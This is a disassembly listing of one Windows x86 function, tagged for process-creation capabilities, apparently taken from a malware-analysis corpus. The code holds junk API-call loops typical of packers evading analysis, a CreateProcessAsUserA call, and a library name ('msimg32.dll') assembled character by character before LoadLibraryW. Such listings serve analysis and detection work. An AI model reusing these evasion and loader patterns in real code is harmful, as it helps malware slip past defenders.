Function at 0x41f270
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push 0xffffffffffffffff
push 0x420181
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9e8
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
xor esi, esi
cmp esi, 0x2c831
jge 0x41f2b4
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffA]
push ebx
push ebx
push ebx
push ebx
call edi
cmp dword [0x8e5484], 0x6fb
jne 0x41f2d2
push ebx
lea eax, [esp + 0x1f8]
push eax
push ebx
call ebp
cmp esi, 0x3120cd8
jle 0x41f2f1
cmp dword [esp + 0x14], 0x134170
je 0x41f2f1
cmp dword [esp + 0x1b8], 0xe70b9d
jne 0x41f2fc
inc esi
cmp esi, 0x4f0fe3
jl 0x41f2a3
jmp 0x41f328
cmp dword [0x8e5484], 0x28
jne 0x41f328
push ebx
lea ecx, [esp + 0x18]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [esp + 0x6c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [0x8e5484], 0xcf8
jne 0x41f7ee
lea eax, [esp + 0x19c]
push eax
lea ecx, [esp + 0x1b0]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x214]
push edx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push ebx
call fcn.00409667
add esp, 4
push ebx
push ebx
call fcn.0041d080
add esp, 8
lea eax, [esp + 0x24]
push eax
call fcn.00407230
mov dword [esp + 0x24], 0x40496c
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov eax, 1
mov dword [esp + 0xa00], eax
mov dword [esp + 0x18c], ebx
mov dword [esp + 0x190], ebx
mov dword [esp + 0x194], ebx
mov dword [esp + 0x6c], 0x4049b0
mov dword [esp + 0x7c], 0x4049b8
mov byte [esp + 0xa00], 3
mov ebp, 6
push 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0xd0], 0x40493c
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x100], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], 0x201
mov dword [esp + 0xe8], ebp
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], ebx
mov dword [esp + 0xdc], ebx
call fcn.004099c5
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x41f470
call fcn.0040884e
mov dword [esi], eax
call fcn.004085e5
push ebx
lea ecx, [esp + 0x24]
mov edi, eax
call fcn.004089b3
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x41f465
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x20]
call fcn.004089db
jmp 0x41f472
xor esi, esi
lea ecx, [esp + 0x84]
lea edi, [esp + 0x1c]
lea eax, [esp + 0xcc]
mov dword [esp + 0xfc], esi
mov dword [esp + 0x104], ecx
mov dword [esp + 0x108], ebx
call fcn.00405f70
mov edi, eax
mov dword [esp + 0xa00], ebp
call fcn.00407b30
mov byte [esp + 0xa00], 5
mov edi, dword [esp + 0x1c]
mov ebp, eax
cmp edi, ebx
je 0x41f4fa
push ebx
lea ecx, [esp + 0x18]
call fcn.004089b3
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41f4d8
cmp eax, 0xffffffff
jae 0x41f4d8
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004089db
cmp esi, ebx
je 0x41f4fa
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x10c], al
cmp dword [esp + 0x104], ebx
jne 0x41f540
mov eax, dword [esp + 0xd8]
or eax, 4
and eax, 0x17
mov dword [esp + 0xd8], eax
test dword [esp + 0xdc], eax
je 0x41f540
push ebx
lea ecx, [esp + 0xd0]
call fcn.00405e30
mov ecx, dword [esp + 0x7c]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x7c], 0x40494c
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x6c], 0x404954
mov dword [esp + 0xa00], 9
mov edx, dword [esp + 0x6c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x84]
mov esi, 0x4049ac
push ecx
mov dword [esp + eax + 0x70], esi
call fcn.00407230
mov edi, 0x40496c
mov dword [esp + 0x84], edi
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
lea edx, [esp + 0x7c]
push edx
mov byte [esp + 0xa04], 0xb
call fcn.004061a0
push ebx
call fcn.00409976
add esp, 4
push ebx
call fcn.004097c5
add esp, 4
push ebx
push ebx
call fcn.004097f2
mov ecx, dword [esp + 0x74]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xd4]
add esp, 8
mov dword [esp + 0x1c], eax
mov dword [esp + edx + 0x6c], esi
test byte [esp + 0xc4], 1
lea eax, [esp + 0x84]
mov dword [esp + 0x20], eax
mov dword [esp + 0x84], edi
je 0x41f612
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx]
push eax
call fcn.004097e7
add esp, 4
mov edx, dword [esp + 0x94]
mov dword [edx], ebx
mov eax, dword [esp + 0xa4]
mov dword [eax], ebx
mov ecx, dword [esp + 0xb4]
mov dword [ecx], ebx
mov edx, dword [esp + 0x98]
mov dword [edx], ebx
mov eax, dword [esp + 0xa8]
mov dword [eax], ebx
mov ecx, dword [esp + 0xb8]
mov dword [ecx], ebx
and dword [esp + 0xc4], 0xfffffffe
mov dword [esp + 0xc0], ebx
mov dword [esp + 0x84], 0x4048fc
mov byte [esp + 0xa00], 0xd
mov eax, dword [esp + 0xbc]
mov ebp, eax
cmp eax, ebx
je 0x41f6c7
mov edi, dword [eax]
cmp edi, ebx
je 0x41f6b9
push ebx
lea ecx, [esp + 0x18]
call fcn.004089b3
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41f697
cmp eax, 0xffffffff
jae 0x41f697
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004089db
cmp esi, ebx
je 0x41f6b9
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.004097e7
add esp, 4
mov edi, 0x40496c
lea ecx, [esp + 0x88]
mov byte [esp + 0xa00], 0xc
call fcn.00408a8c
mov byte [esp + 0xa00], 2
mov ecx, dword [esp + 0x6c]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x6c], 0x404954
mov eax, dword [esp + 0x7c]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x7c], 0x40494c
mov edx, dword [esp + 0x6c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xcc]
mov dword [esp + eax + 0x6c], 0x40493c
push ecx
mov dword [esp + 0xd0], 0x4048e8
call fcn.004084df
add esp, 4
test byte [esp + 0x64], 1
mov dword [esp + 0x24], edi
je 0x41f745
mov edx, dword [esp + 0x34]
mov eax, dword [edx]
push eax
call fcn.004097e7
add esp, 4
mov eax, dword [esp + 0x34]
mov dword [eax], ebx
mov ecx, dword [esp + 0x44]
mov dword [ecx], ebx
mov edx, dword [esp + 0x54]
mov dword [edx], ebx
mov eax, dword [esp + 0x38]
mov dword [eax], ebx
mov ecx, dword [esp + 0x48]
mov dword [ecx], ebx
mov edx, dword [esp + 0x58]
mov dword [edx], ebx
and dword [esp + 0x64], 0xfffffffe
mov dword [esp + 0x60], ebx
mov dword [esp + 0x24], 0x4048fc
mov dword [esp + 0xa00], 0xe
mov eax, dword [esp + 0x5c]
mov ebp, eax
cmp eax, ebx
je 0x41f7da
mov edi, dword [eax]
cmp edi, ebx
je 0x41f7d1
push ebx
lea ecx, [esp + 0x18]
call fcn.004089b3
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41f7af
cmp eax, 0xffffffff
jae 0x41f7af
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004089db
cmp esi, ebx
je 0x41f7d1
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.004097e7
add esp, 4
lea ecx, [esp + 0x28]
mov dword [esp + 0xa00], 0xffffffff
call fcn.00408a8c
mov eax, 0x5d1
add dword [0x8e5484], eax
mov eax, dword [0x8e5484]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x8e3c70], eax
mov eax, dword [0x8e5484]
xor edi, edi
cmp eax, ebx
jbe 0x41f868
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetStringTypeW]
cmp eax, 0xfe
jne 0x41f83f
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [esp + 0x1f4]
push ecx
push 0x404500
call esi
call fcn.0041eca0
mov eax, dword [0x8e5484]
cmp eax, 0x8d
jne 0x41f863
lea edx, [esp + 0x18]
push edx
push ebx
push 0x404584
push ebx
call ebp
mov eax, dword [0x8e5484]
inc edi
cmp edi, eax
jb 0x41f822
cmp eax, 0x70
jne 0x41f87a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov eax, dword [0x8e5484]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov edi, 0x9682ab
cmp eax, 3
jne 0x41f897
push 0x4045b0
push ebx
call esi
mov eax, dword [0x8e5484]
dec edi
jne 0x41f885
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
lea ebx, [ebx]
mov dword [0x8e5478], edi
cmp eax, 0x222
jne 0x41f8d2
push ebx
push ebx
push ebx
push 0x404660
push 0x404688
push ebx
call esi
mov eax, dword [0x8e5484]
dec ebp
jne 0x41f8b0
mov byte [0x43b038], 0
call fcn.0041eb90
call fcn.0041f050
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalUnlock]
xor esi, esi
cmp dword [0x8e5484], 0xba
jne 0x41f90d
push 0x4046e8
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x41f926
mov eax, 0x21e1
add dword [0x8e3c70], eax
inc esi
cmp esi, 0x1605a
jl 0x41f8f4
mov esi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov ebp, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [esp + 0x18], 0x1e6dcb
nop
cmp dword [0x8e5484], 0x85
jne 0x41f985
push 0
call esi
push 0
call edi
push 0x40441c
push 0x404788
push 0x4047d4
call ebp
push 0
push 0
lea eax, [esp + 0x5fc]
push eax
push 0
call ebx
dec dword [esp + 0x18]
jne 0x41f950
mov ecx, 0x73
mov edx, 0x6d
mov word [0x8e548a], cx
mov word [0x8e548e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x8e5492], ax
mov word [0x8e549e], dx
mov word [0x8e5490], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x8e5488
mov dword [0x8e5498], 0x6c0064
mov word [0x8e548c], dx
mov word [0x8e5488], ax
mov word [0x8e549c], cx
mov dword [0x8e5494], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x9f8]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x9f4
ret